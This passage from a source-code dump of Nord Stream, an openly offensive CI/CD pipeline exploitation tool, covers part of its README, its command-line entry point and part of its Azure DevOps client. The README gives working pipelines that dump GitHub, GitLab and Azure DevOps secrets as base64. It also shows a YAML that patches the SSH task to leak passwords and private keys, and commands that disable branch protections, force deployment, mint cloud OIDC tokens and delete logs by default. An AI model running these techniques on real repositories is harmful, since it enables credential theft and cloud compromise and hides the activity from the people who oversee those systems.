$0}' | base64 -w0 | base64 -w0\n      name: command\n      env:\n        secret_PROD_SECRET: ${{secrets.PROD_SECRET}}\n    environment: PROD\n\n```\n\n#### YAML\n\nThe `--yaml` option can be used to deploy a custom pipeline:\n\n```yml\nname: GitHub Actions\n'on': push\njobs:\n  init:\n    runs-on: ubuntu-latest\n    steps:\n    - run: echo \"Hello from step 1\"\n      name: step 1\n    - run: echo \"Doing some important stuff here\"\n      name: command\n    - run: echo \"Hello from last step \"\n      name: last step\n```\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --yaml custom.yml\n[+] \"synacktiv/repo\"\n[*] No branch protection rule found on \"dev_remote_ea5Eu/test/v1\"branch\n[*] Running custom workflow: .../custom.yml\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Workflow output:\n2023-07-18T20:08:33.0073670Z ##[group]Run echo \"Doing some important stuff here\"\n2023-07-18T20:08:33.0074247Z echo \"Doing some important stuff here\"\n2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}\n2023-07-18T20:08:33.0137261Z ##[endgroup]\n2023-07-18T20:08:33.0422019Z Doing some important stuff here\n\n[*] Cleaning logs.\n[*] Check output: .../nord-stream-logs/github\n```\n\nBy default, it will display the output of the task named `command` of the `init` job, but everything is stored locally and can be access manually:\n\n```bash\n$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\\ step.txt\n2023-07-18T20:08:33.0458509Z ##[group]Run echo \"Hello from last step \"\n2023-07-18T20:08:33.0459084Z echo \"Hello from last step \"\n2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}\n2023-07-18T20:08:33.0511890Z ##[endgroup]\n2023-07-18T20:08:33.0597853Z Hello from last step\n```\n\n#### Clean logs\n\nBy default, Nord Stream will attempt to remove traces left after a pipeline deployment, depending on your privileges. To preserve traces, the `--no-clean` option can be used. This will keep the pipeline logs, but this will still revert the changes made to the repository.\nNote that for GitLab, some traces cannot be deleted.\n\n\n#### Signing commits\n\nRepository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. With Nord Stream it's possible to sign commit to bypass such protection.\n\nFirst create an import your GPG key on the SCM platform.\n```sh\n$ gpg --full-generate-key\n$ gpg --armor --export F94496913C43EFC5\n$ gpg --list-secret-keys --keyid-format=long\nsec   dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23]\n      Key fingerprint = B158 3F43 9899 C5A3 B74E  D04B F944 9691 3C43 EFC5\nuid                 [ultimate] test-gpg <test.gpg@cicd.local>\n```\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email test.gpg@cicd.local --force\n[*] Using branch: \"main\"\n[+] \"synacktiv/repo\"\n[*] Getting secrets from environment: \"prod\" (synacktiv/repo)\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Secrets:\nsecret_PROD_SECRET=my PROD_SECRET\n\n```\n\n```bash\n$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973\ngpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST\ngpg:                using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5\ngpg: Good signature from \"test-gpg <test.gpg@cicd.local>\" [ultimate]\nPrimary key fingerprint: B158 3F43 9899 C5A3 B74E  D04B F944 9691 3C43 EFC5\n```\n\n### Azure DevOps\n\nNord Stream can extract the following types of secrets:\n- Variable groups (vg)\n- Secure files (sf)\n- Service connections\n\n#### Service connections\n\nAzure DevOps offers the possibility to create connections with external and remote services for executing tasks in a job. To do so, service connections are used. A service connection holds credentials for an identity to a remote service. There are multiple types of service connections in Azure DevOps.\n\nNord Stream currently support secret extraction for the following types of service connection:\n- AzureRM\n- GitHub\n- AWS\n- SonarQube\n- SSH\n\nIf you come across a non-supported type, please open an issue or make a pull request :)\n\n##### SSH\n\nThe extraction for this service connection type was painfull to implement. The output is the following:\n```\nhostname:::port:::user:::password:::privatekey\n```\n\nIf you want to run it on a self-hosted runner you can do the following:\n```\n$ nord-stream devops ... --build-yaml test.yml --build-type ssh  \n[+] YAML file:\ntrigger: none\npool:\n  vmImage: ubuntu-latest\nsteps:\n- checkout: none\n- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak\n    ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout\n    = getReadyTimeoutVariable();\\nconst fs = require(\"fs\");var data = \"\";data += hostname\n    + \":::\" + port + \":::\" + username + \":::\" + password + \":::\" + privateKey;fs.writeFile(\"/tmp/artefacts.tar.gz\",\n    data, (err) => {});|' $SSH_FILE\n  displayName: Preparing Build artefacts\n- task: SSH@0\n  inputs:\n    sshEndpoint: '#FIXME'\n    runOptions: commands\n    commands: sleep 1\n- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak\n    $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''\n  displayName: Build artefacts\n\n```\n\nThen you need to:\n1) change the `vmImage: ubuntu-latest` to `name: 'Self-Hosted pool name'`\n2) Add the name of the service connection in the `#FIXME` placeholder.\n3) deploy the pipeline with: `--yaml test.yml`\n\nIf you need to run this on a windows self-hosted runner, in the `generatePipelineForSSH` method change `_serviceConnectionTemplateSSH` by `_serviceConnectionTemplateSSHWindows` and perform the actions described previously.\n\nNote: for both Windows and Linux self-hosted runners, you need to adapt the path (`/home/vsts/work/_tasks/` or `D:\\a\\`) to match the path where the runner is deployed. This information can be obtained in the `Capabilities` tab of an agent on Azure DevOps.\n\n#### Listing orgs\n\nWith an access token it's possible to list the organizations bound to a user:\n```\n$ nord-stream devops --token \"eyJ0eXA...\" --list-orgs\n[*] User orgs:\n        - myorg\n        - supersecretorg\n```\n\nThis is based on [this research](https://zolder.io/en/blog/devops-access-is-closer-than-you-assume/).\n\n#### Help\n```\n$ nord-stream devops -h\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream devops [options] --token <pat> --org <org> [extraction] [--project <project> --write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]\n    nord-stream devops [options] --token <pat> --org <org> --yaml <yaml> --project <project> [--write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]\n    nord-stream devops [options] --token <pat> --org <org> --build-yaml <output> [--build-type <type>]\n    nord-stream devops [options] --token <pat> --org <org> --clean-logs [--project <project>]\n    nord-stream devops [options] --token <pat> --org <org> --list-projects [--write-filter]\n    nord-stream devops [options] --token <pat> --org <org> (--list-secrets [--project <project> --write-filter] | --list-users)\n    nord-stream devops [options] --token <pat> --org <org> --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir <dir>                      Output directory for logs\n    --ignore-cert                           Allow insecure server connections\n\nCommit:\n    --user <user>                           User used to commit\n    --email <email>                         Email address used commit\n    --key-id <id>                           GPG primary key ID to sign commits\n\nargs:\n    --token <pat>                           Azure DevOps personal token or JWT\n    --org <org>                             Org name\n    -p, --project <project>                 Run on selected project (can be a file)\n    -y, --yaml <yaml>                       Run arbitrary job\n    --clean-logs                            Delete all pipeline created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean pipeline logs (default false)\n    --list-projects                         List all projects.\n    --list-secrets                          List all secrets.\n    --list-users                            List all users.\n    --write-filter                          Filter projects where current user has write or admin access.\n    --build-yaml <output>                   Create a pipeline yaml file with default configuration.\n    --build-type <type>                     Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh\n    --describe-token                        Display information on the token\n    --branch-name <name>                    Use specific branch name for deployment.\n    --pipeline-name <name>                  Use pipeline for deployment.\n    --repo-name <name>                      Use specific repo for deployment.\n\nExctraction:\n    --extract <list>                        Extract following secrets [vg,sf,gh,az,aws,sonar,ssh]\n    --no-extract <list>                     Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]\n\nExamples:\n    List all secrets from all projects\n    $ nord-stream devops --token \"$PAT\" --org myorg --list-secrets\n\n    Dump all secrets from all projects\n    $ nord-stream devops --token \"$PAT\" --org myorg\n\nAuthors: @hugow @0hexit\n```\n\n### GitHub\n\n#### List protections\n\nThe `--list-protections` option can be used to list the protections applied to a branch and to environments:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main --list-protections\n[*] Using branch: \"main\"\n[*] Checking security: \"synacktiv/repo\"\n[*] Found branch protection rule on \"main\" branch\n[*] Branch protections:\n        - enforce admins: True\n        - block creations: True\n        - required signatures: True\n        - allow force pushes: False\n        - allow deletions: False\n        - required pull request reviews: False\n        - required linear history: False\n        - required conversation resolution: False\n        - lock branch: False\n        - allow fork syncing: False\n[*] Environment protection for: \"DEV\":\n        - deployment branch policy: custom\n[*] No environment protection rule found for: \"INT\"\n[*] Environment protection for: \"PROD\":\n        - deployment branch policy: custom\n```\n\nDepending on your permissions, you can have less information, only administrators can have the full details of the protections.\n\n\n#### Disable protections\n\nThe `--disable-protections` option can be used to temporarily disable the protections applied to a branch or an environment, realize the dump and restore all the protections:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections\n[*] Using branch: \"main\"\n[+] \"synacktiv/repo\"\n[*] Found branch protection rule on \"main\" branch\n[...]\n[!] Removing branch protection, wait until it's restored.\n[*] Getting secrets from environment: \"prod\" (synacktiv/repo)\n[*] Environment protection for: \"PROD\":\n        - deployment branch policy: custom\n[!] Modifying env protection, wait until it's restored.\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[!] Restoring env protections.\n[+] Secrets:\nsecret_PROD_SECRET=my PROD_SECRET\n\n[*] Cleaning logs.\n[!] Restoring branch protection.\n```\n\nThis requires admin privileges.\n\n#### Force\n\nBy default, if Nord Stream detect a protection on a branch or on an environment it won't perform the secret extraction. If you think that the protections are too permissive or can be bypassed with your privileges, the `--force` option can be used to deploy the pipeline regardless of protections.\n\n#### Azure OIDC\n\nOIDC (OpenID Connect) can be used to connect to cloud services. The general idea is to allow authorized pipelines or workflows to get short-lived access tokens directly from a cloud provider, without involving any static secrets. Authorization is based on trust relationships configured on the cloud provider's side and being conditioned by the origin of the pipeline or workflow.\n\nHere is an example of a GitHub workflow using OIDC:\n\n```yaml\n[...]\nsteps:\n    - name: OIDC Login to Azure Public Cloud\n    uses: azure/login@v1\n    with:\n        client-id: ${{ secrets.AZURE_CLIENT_ID }}\n        tenant-id: ${{ secrets.AZURE_TENANT_ID }}\n        subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional\n```\n\nIf you come across such a workflow, this means that the repository might be configured to get a short-lived access token that can give you access to Azure resources.\n\nNord Stream is able to deploy a pipeline to retrieve such access token with the following options:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2\n[*] Using branch: \"main\"\n[+] \"synacktiv/repo\"\n[*] No branch protection rule found on \"main\" branch\n[*] Running OIDC Azure access tokens generation workflow\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] OIDC access tokens:\nAccess token to use with Azure Resource Manager API:\n{\n  \"accessToken\":\n\"eyJ0eXAiOiJK[...]PVig\",\n  \"expiresOn\": \"2023-07-18 23:18:57.000000\",\n  \"subscription\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tenant\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tokenType\": \"Bearer\"\n}\n\nAccess token to use with MS Graph API:\n{\n  \"accessToken\":\n\"eyJ0eXAi[...]_qTA\",\n  \"expiresOn\": \"2023-07-19 22:18:59.000000\",\n  \"subscription\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tenant\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tokenType\": \"Bearer\"\n}\n```\n\nThe `--azure-subscription-id` is optional and can be used to get an access token for a specific subscription.\n\n#### AWS OIDC\n\nThe same technique (see [Azure OIDC](#azure-oidc)) can be used to get a session token on AWS.\n\nHere is an example of a workflow using AWS OIDC:\n\n```yaml\n[...]\nsteps:\n    - name: Configure AWS Credentials\n    uses: aws-actions/configure-aws-credentials@v1\n    with:\n        role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole\n        role-session-name: oidcrolesession\n        aws-region: us-east-1\n```\n\nIf you come across such a workflow, this means that the repository might be configured to get an AWS access token that can give you access to AWS resources.\n\nNord Stream is able to deploy a pipeline to retrieve such access token with the following options:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force\n[+] \"Synacktiv/repo\"\n[*] Running OIDC AWS credentials generation workflow\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] OIDC credentials:\nAWS_DEFAULT_REGION=us-east-1\nAWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6\nAWS_REGION=us-east-1\nAWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO\nAWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA\n```\n\n#### Help\n```\n$ nord-stream github -h\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]\n    nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]\n    nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]\n    nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]\n    nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]\n    nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]\n    nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]\n    nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]\n    nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]\n    nord-stream github [options] --token <ghp> --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir <dir>                      Output directory for logs\n\nSigning:\n    --key-id <id>                           GPG primary key ID\n    --user <user>                           User used to sign commits\n    --email <email>                         Email address used to sign commits\n\nargs\n    --token <ghp>                           Github personal token\n    --org <org>                             Org name\n    -r, --repo <repo>                       Run on selected repo (can be a file)\n    -y, --yaml <yaml>                       Run arbitrary job\n    --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean workflow logs (default false)\n    --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.\n    --build-yaml <filename>                 Create a pipeline yaml file with all secrets.\n    --env <env>                             Specify env for the yaml file creation.\n    --no-repo                               Don't extract repo secrets.\n    --no-env                                Don't extract environnments secrets.\n    --no-org                                Don't extract organization secrets.\n    --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).\n    --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).\n    --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).\n    --aws-role <role>                       AWS role to assume (OIDC related).\n    --aws-region <region>                   AWS region (OIDC related).\n    --list-protections                      List all protections.\n    --list-repos                            List all repos.\n    --list-secrets                          List all secrets.\n    --disable-protections                   Disable the branch protection rules (needs admin rights)\n    --write-filter                          Filter repo where current user has write or admin access.\n    --force                                 Don't check environment and branch protections.\n    --branch-name <name>                    Use specific branch name for deployment.\n    --describe-token                        Display information on the token\n\nExamples:\n    List all secrets from all repositories\n    $ nord-stream github --token \"$GHP\" --org myorg --list-secrets\n\n    Dump all secrets from all repositories and try to disable branch protections\n    $ nord-stream github --token \"$GHP\" --org myorg --disable-protections\n\nAuthors: @hugow @0hexit\n```\n\n### GitLab\n\nAs described in the article, there is no way to remove the logs in the activity tab after a pipeline deployment. This must be taken into account during Red Team engagements.\n\n#### List secrets\n\nThe `--list-secrets` option can be used to list and extract secrets from GitLab.\n\nThe way in which GitLab manages secrets is a bit different from Azure DevOps and GitHub action. With admin access to a project, group or even admin access on the GitLab instance, it is possible to extract all the CI/CD variables that are defined without deploying any pipeline.\n\nFrom a low privilege user however, it is not possible to list the secrets that are defined at the project / group or instance levels. However, if users have write privileges over a project, they will be able to deploy a malicious pipeline to exfiltrate the environment variables exposing the CI/CD variables. This means that a low privilege user has no mean to know if a secret is defined in a specific project. The only way is to look at legitimate pipelines that are already present in a project and check if a pipeline uses sensitive environment variables.\n\nHere is a pipeline file to perform this operation on GitLab:\n\n```yaml\nstages:\n  - synacktiv\n\ndeploy-production:\n  image: ubuntu:latest\n  stage: synacktiv\n  script:\n    - env | base64 -w0 | base64 -w 0\n```\n\nGitLab also support secure files like Azure DevOps. Secure files are defined at the project level. Like the variables It's not possible to list the secure files without admin access to the project. However, with admin access nord-stream will try to exfiltrate the secure files related to the projects.\n\n#### YAML\n\nSame as [YAML](#yaml), however you need to provide the full project path like this:\n\n```sh\n$ nord-stream gitlab --token \"$PAT\" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml\n```\n\nThe output of the command `--list-projects` returns such path.\n\n#### List protections\n\nSame as [GitHub list protections](#list-protections)\n\n#### Help\n```\n$ nord-stream gitlab -h\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream gitlab [options] --token <pat> (--list-secrets | --list-protections) [--project <project> --group <group> --no-project --no-group --no-instance --write-filter]\n    nord-stream gitlab [options] --token <pat> ( --list-groups | --list-projects ) [--project <project> --group <group> --write-filter]\n    nord-stream gitlab [options] --token <pat> --yaml <yaml> --project <project> [--no-clean]\n    nord-stream gitlab [options] --token <pat> --clean-logs [--project <project>]\n    nord-stream gitlab [options] --token <pat> --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir <dir>                      Output directory for logs\n    --url <gitlab_url>                      Gitlab URL [default: https://gitlab.com]\n    --ignore-cert                           Allow insecure server connections\n\nCommit:\n    --user <user>                           User used to commit\n    --email <email>                         Email address used commit\n    --key-id <id>                           GPG primary key ID to sign commits\n\nargs:\n    --token <pat>                           GitLab personal access token or _gitlab_session cookie\n    --project <project>                     Run on selected project (can be a file)\n    --group <group>                         Run on selected group (can be a file)\n    --list-secrets                          List all secrets.\n    --list-protections                      List branch protection rules.\n    --list-projects                         List all projects.\n    --list-groups                           List all groups.\n    --write-filter                          Filter repo where current user has developer access or more.\n    --no-project                            Don't extract project secrets.\n    --no-group                              Don't extract group secrets.\n    --no-instance                           Don't extract instance secrets.\n    -y, --yaml <yaml>                       Run arbitrary job\n    --branch-name <name>                    Use specific branch name for deployment.\n    --clean-logs                            Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean pipeline logs (default false)\n    --describe-token                        Display information on the token\n\nExamples:\n    Dump all secrets\n    $ nord-stream gitlab --token \"$TOKEN\" --url https://gitlab.local --list-secrets\n\n    Deploy the custom pipeline on the master branch\n    $ nord-stream gitlab --token \"$TOKEN\" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'\n\nAuthors: @hugow @0hexit\n```\n\n## TODO\n\n- [ ] Add support of URLs corresponding to Azure DevOps Server instances (on-premises solutions)\n- [ ] Add an option to extract secrets via Windows hosts\n- [ ] Add support of other CI/CD environments (Jenkins/Bitbucket)\n- [ ] Use the GitHub GraphQL API instead of the REST one to list the branch protection rules and temporarily disable them if they match the malicious branch about to be pushed\n\n\n## Contact\n\nPlease submit any bugs, issues, questions, or feature requests under \"Issues\" or send them to us on Twitter [@hugow](https://twitter.com/hugow_vincent) and [@0hexit](https://twitter.com/0hexit).\n"
  },
  {
    "path": "nordstream/__main__.py",
    "content": "#!/usr/bin/env python3\n\"\"\"\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream <command> [<args>...]\n\nCommands\n    github                                  command related to GitHub.\n    devops                                  command related to Azure DevOps.\n    gitlab                                  command related to GitLab.\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n\nAuthors: @hugow @0hexit\n\"\"\"\n\nfrom docopt import docopt\nfrom nordstream.utils.log import logger\n\n\ndef main():\n    args = docopt(__doc__, version=\"0.1\", options_first=True)\n\n    argv = [args[\"<command>\"]] + args[\"<args>\"]\n\n    if args[\"<command>\"] == \"github\":\n        import nordstream.commands.github as github\n\n        github.start(argv)\n    elif args[\"<command>\"] == \"devops\":\n        import nordstream.commands.devops as devops\n\n        devops.start(argv)\n    elif args[\"<command>\"] == \"gitlab\":\n        import nordstream.commands.gitlab as gitlab\n\n        gitlab.start(argv)\n    else:\n        logger.error(f\"{args['<command>']} is not a nord-stream command.\")\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "nordstream/cicd/devops.py",
    "content": "import requests\nimport time\nfrom os import makedirs\nfrom nordstream.utils.log import logger\nfrom nordstream.yaml.devops import DevOpsPipelineGenerator\nfrom nordstream.git import Git\nfrom nordstream.utils.errors import DevOpsError\nfrom nordstream.utils.constants import *\nfrom nordstream.utils.helpers import isAZDOBearerToken\n\n# painfull warnings you know what you are doing right ?\nrequests.packages.urllib3.disable_warnings()\n\n\nclass DevOps:\n    _DEFAULT_PIPELINE_NAME = DEFAULT_PIPELINE_NAME\n    _DEFAULT_BRANCH_NAME = DEFAULT_BRANCH_NAME\n    _token = None\n    _auth = None\n    _org = None\n    _devopsLoginId = None\n    _projects = []\n    _baseURL = \"https://dev.azure.com/\"\n    _header = {\n        \"Accept\": \"application/json; api-version=6.0-preview\",\n        \"User-Agent\": USER_AGENT,\n    }\n    _session = None\n    _repoName = DEFAULT_REPO_NAME\n    _outputDir = OUTPUT_DIR\n    _pipelineName = _DEFAULT_PIPELINE_NAME\n    _branchName = _DEFAULT_BRANCH_NAME\n    _defaultAgentPool = None\n    _sleepTime = 15\n    _maxRetry = 10\n\n    def __init__(self, token, org, verifCert):\n        self._token = token\n        self._org = org\n        self._baseURL += f\"{org}/\"\n        self._session = requests.Session()\n        self.setCookiesAndHeaders()\n        self._session.verify = verifCert\n        self._devopsLoginId = self.__getLogin()\n\n    @property\n    def projects(self):\n        return self._projects\n\n    @property\n    def org(self):\n        return self._org\n\n    @property\n    def branchName(self):\n        return self._branchName\n\n    @branchName.setter\n    def branchName(self, value):\n        self._branchName = value\n\n    @property\n    def repoName(self):\n        return self._repoName\n\n    @repoName.setter\n    def repoName(self, value):\n        self._repoName = value\n\n    @property\n    def pipelineName(self):\n        return self._pipelineName\n\n    @pipelineName.setter\n    def pipelineName(self, value):\n        self._pipelineName = value\n\n    @property\n    def defaultAgentPool(self):\n        return self._defaultAgentPool\n\n    @defaultAgentPool.setter\n    def defaultAgentPool(self, value):\n        self._defaultAgentPool = value\n\n    @property\n    def sleepTime(self):\n        return self._sleepTime\n\n    @sleepTime.setter\n    def sleepTime(self, value):\n        self._sleepTime = int(value)\n\n    @property\n    def token(self):\n        return self._token\n\n    @property\n    def outputDir(self):\n        return self._outputDir\n\n    @outputDir.setter\n    def outputDir(self, value):\n        self._outputDir = value\n\n    @property\n    def defaultPipelineName(self):\n        return self._DEFAULT_PIPELINE_NAME\n\n    @property\n    def defaultBranchName(self):\n        return self._DEFAULT_BRANCH_NAME\n\n    def __getLogin(self):\n        return self.getUser().get(\"authenticatedUser\").get(\"id\")\n\n    def getUser(self):\n        logger.debug(\"Retrieving user informations\")\n        return self._session.get(\n            f\"{self._baseURL}/_apis/ConnectionData\",\n        ).json()\n\n    def setCookiesAndHeaders(self):\n        if isAZDOBearerToken(self._token):\n            self._session.headers.update({\"Authorization\": f\"Bearer {self._token}\"})\n        else:\n            self._session.auth = (\"\", self._token)\n        self._session.headers.update(self._header)\n\n    def listProjects(self):\n        logger.debug(\"Listing projects\")\n        continuationToken = 0\n        # Azure DevOps pagination\n        while True:\n            params = {\"continuationToken\": continuationToken}\n            response = self._session.get(\n                f\"{self._baseURL}/_apis/projects\",\n                params=params,\n            ).json()\n\n            if len(response.get(\"value\")) != 0:\n                for repo in response.get(\"value\"):\n                    p = {\"id\": repo.get(\"id\"), \"name\": repo.get(\"name\")}\n                    self._projects.append(p)\n                continuationToken += response.get(\"count\")\n            else:\n                break\n\n    def listUsers(self):\n        logger.debug(\"Listing users\")\n        continuationToken = None\n        res = []\n        params = {}\n        # Azure DevOps pagination\n        while True:\n            if continuationToken:\n                params = {\"continuationToken\": continuationToken}\n            response = self._session.get(\n                f\"https://vssps.dev.azure.com/{self._org}/_apis/graph/users\",\n                params=params,\n            )\n\n            headers = response.headers\n            response = response.json()\n\n            if len(response.get(\"value\")) != 0:\n                for user in response.get(\"value\"):\n                    p = {\n                        \"origin\": user.get(\"origin\"),\n                        \"displayName\": user.get(\"displayName\"),\n                        \"mailAddress\": user.get(\"mailAddress\"),\n                    }\n                    res.append(p)\n                continuationToken = headers.get(\"x-ms-continuationtoken\", None)\n                if not continuationToken:\n                    break\n            else:\n                break\n        return res\n\n    # TODO: crappy code I know\n    def filterWriteProjects(self):\n        continuationToken = None\n        res = []\n        params = {}\n        # Azure DevOps pagination\n        while True:\n            if continuationToken:\n                params = {\"continuationToken\": continuationToken}\n            response = self._session.get(\n                f\"https://vssps.dev.azure.com/{self._org}/_apis/graph/groups\",\n                params=params,\n            )\n\n            headers = response.headers\n            response = response.json()\n\n            if len(response.get(\"value\")) != 0:\n                for project in self._projects:\n                    for group in response.get(\"value\"):\n                        name = project.get(\"name\")\n                        if self.__checkProjectPrivs(self._devopsLoginId, name, group):\n                            duplicate = False\n                            for p in res:\n                                if p.get(\"id\") == project.get(\"id\"):\n                                    duplicate = True\n                            if not duplicate:\n                                res.append(project)\n\n                continuationToken = headers.get(\"x-ms-continuationtoken\", None)\n                if not continuationToken:\n                    break\n\n            else:\n                break\n        self._projects = res\n\n    def __checkProjectPrivs(self, login, projectName, group):\n        groupPrincipalName = group.get(\"principalName\")\n\n        writeGroups = [\n            f\"[{projectName}]\\\\{projectName} Team\",\n            f\"[{projectName}]\\\\Contributors\",\n            f\"[{projectName}]\\\\Project Administrators\",\n        ]\n        pagingToken = None\n        params = {}\n\n        for g in writeGroups:\n            if groupPrincipalName == g:\n                originId = group.get(\"originId\")\n                while True:\n                    if pagingToken:\n                        params = {\"pagingToken\": pagingToken}\n                    response = self._session.get(\n                        f\"https://vsaex.dev.azure.com/{self._org}/_apis/GroupEntitlements/{originId}/members\",\n                        params=params,\n                    ).json()\n\n                    pagingToken = response.get(\"continuationToken\")\n                    if len(response.get(\"items\")) != 0:\n                        for user in response.get(\"items\"):\n                            if user.get(\"id\") == login:\n                                return True\n\n                    else:\n                        return False\n\n    def listRepositories(self, project):\n        logger.debug(\"Listing repositories\")\n        response = self._session.get(\n            f\"{self._baseURL}/{project}/_apis/git/repositories\",\n        ).json()\n        return response.get(\"value\")\n\n    def listPipelines(self, project):\n        logger.debug(\"Listing pipelines\")\n        response = self._session.get(\n            f\"{self._baseURL}/{project}/_apis/pipelines\",\n        ).json()\n        return response.get(\"value\")\n\n    def addProject(self, project):\n        logger.debug(f\"Checking project: {project}\")\n\n        response = self._session.get(\n            f\"{self._baseURL}/_apis/projects/{project}\",\n        ).json()\n\n        if response.get(\"id\"):\n            p = {\"id\": response.get(\"id\"), \"name\": response.get(\"name\")}\n            self._projects.append(p)\n\n    @classmethod\n    def checkToken(cls, token, org, verifCert):\n        logger.verbose(f\"Checking token: {token}\")\n        try:\n            return (\n                requests.get(\n                    f\"https://dev.azure.com/{org}/_apis/ConnectionData\",\n                    auth=(\"foo\", token),\n                    headers=DevOps._header,\n                    verify=verifCert,\n                ).status_code\n                == 200\n            )\n        except Exception as e:\n            logger.error(e)\n            return False\n\n    def listProjectVariableGroupsSecrets(self, project):\n        logger.debug(f\"Listing variable groups for: {project}\")\n        response = self._session.get(\n            f\"{self._baseURL}/{project}/_apis/distributedtask/variablegroups\",\n        )\n\n        if response.status_code != 200:\n            raise DevOpsError(\"Can't list variable groups secrets.\")\n\n        response = response.json()\n\n        res = []\n\n        if response.get(\"count\", 0) != 0:\n            for variableGroup in response.get(\"value\"):\n                name = variableGroup.get(\"name\")\n                id = variableGroup.get(\"id\")\n                variables = []\n                for var in variableGroup.get(\"variables\").keys():\n                    variables.append(var)\n                res.append({\"name\": name, \"id\": id, \"variables\": variables})\n        return res\n\n    def listProjectSecureFiles(self, project):\n        logger.debug(f\"Listing secure files for: {project}\")\n        response = self._session.get(\n            f\"{self._baseURL}/{project}/_apis/distributedtask/securefiles\",\n        )\n\n        if response.status_code != 200:\n            raise DevOpsError(\"Can't list secure 